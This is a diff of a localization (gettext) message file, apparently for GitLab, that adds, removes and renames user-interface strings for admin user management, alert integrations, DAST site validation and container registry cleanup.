+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Annuleren"
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
